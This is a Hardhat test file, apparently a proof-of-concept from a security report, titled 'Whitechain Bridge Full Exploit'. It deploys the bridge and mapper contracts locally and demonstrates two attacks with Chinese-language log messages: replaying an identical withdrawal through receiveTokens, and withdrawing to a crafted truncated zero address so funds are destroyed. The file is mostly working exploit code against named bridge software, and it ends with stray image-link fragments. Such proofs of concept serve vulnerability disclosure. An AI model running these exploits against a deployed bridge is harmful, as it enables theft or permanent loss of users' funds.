1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
| import { expect } from "chai";
import hre from "hardhat";
describe("🔥 Whitechain Bridge Full Exploit", function () {
let BridgeContract: any;
let MapperContract: any;
let deployer: any;
let emergencyAddress: any;
let multisigAddress: any;
let relayerAddress: any;
let user1: any;
let user2: any;
const DepositType = { None: 0, Lock: 1, Burn: 2 };
const WithdrawType = { None: 0, Unlock: 1, Mint: 2 };
beforeEach(async function () {
const accounts = await hre.ethers.getSigners();
deployer = accounts[0];
emergencyAddress = accounts[1];
multisigAddress = accounts[2];
relayerAddress = accounts[3];
user1 = accounts[4];
user2 = accounts[5];
MapperContract = await hre.upgrades.deployProxy(
await hre.ethers.getContractFactory("contracts/main/modules/mapper/Mapper.sol:Mapper"),
[{
emergencyAddress: emergencyAddress.address,
multisigAddress: multisigAddress.address
}],
{ initializer: 'initialize', kind: 'uups' }
);
BridgeContract = await hre.upgrades.deployProxy(
await hre.ethers.getContractFactory("contracts/main/modules/bridge/Bridge.sol:Bridge"),
[{
mapperAddress: await MapperContract.getAddress(),
emergencyAddress: emergencyAddress.address,
multisigAddress: multisigAddress.address,
relayerAddress: relayerAddress.address
}],
{ initializer: 'initialize', kind: 'uups' }
);
const network = await hre.ethers.provider.getNetwork();
const currentChainId = network.chainId;
const fakeTokenAddress = hre.ethers.zeroPadValue(user1.address, 32);
const mapInfo = {
originChainId: BigInt(1),
targetChainId: currentChainId,
depositType: DepositType.None,
withdrawType: WithdrawType.Unlock,
originTokenAddress: fakeTokenAddress,
targetTokenAddress: fakeTokenAddress,
useTransfer: false,
isAllowed: true,
isCoin: true
};
await MapperContract.connect(multisigAddress).registerMapping(mapInfo);
await deployer.sendTransaction({
to: await BridgeContract.getAddress(),
value: hre.ethers.parseEther("100")
});
await BridgeContract.connect(multisigAddress).setDailyLimit(
hre.ethers.ZeroHash,
relayerAddress.address,
1000000n
);
});
it("Critical 1: 提现重放攻击 (Replay Attack)", async function () {
const mapId = 1;
const externalId = hre.ethers.encodeBytes32String("hack_replay_001");
const amount = 1000n;
const params = [
externalId,
mapId,
amount,
hre.ethers.zeroPadValue(user1.address, 32),
hre.ethers.zeroPadValue(user2.address, 32)
];
console.log("\n🚀 第 1 次正常提现...");
const tx1 = await BridgeContract.connect(relayerAddress).receiveTokens(params);
await tx1.wait();
console.log("✅ 第 1 次提现成功！");
console.log("🔥 第 2 次原封不动重放...");
const tx2 = await BridgeContract.connect(relayerAddress).receiveTokens(params);
await tx2.wait();
console.log("💥💥💥 [攻击成功] 重放提现成功！");
expect(tx2).to.not.be.reverted;
});
it("Critical 2: 地址截断攻击 (Address Truncation)", async function () {
const mapId = 1;
const externalId = hre.ethers.encodeBytes32String("hack_zero_002");
const amount = 1000n;
const maliciousToAddress = "0x0000000000000000000000000000000000000000000000000000000100000000";
const params = [
externalId,
mapId,
amount,
hre.ethers.zeroPadValue(user1.address, 32),
maliciousToAddress
];
console.log("\n🕳️ 尝试提现到被截断的零地址...");
const tx = await BridgeContract.connect(relayerAddress).receiveTokens(params);
await tx.wait();
console.log("💥💥💥 [攻击成功] 资金被永久销毁！");
expect(tx).to.not.be.reverted;
});
});
|
.png)
.png)
.png)
.png)
.png)
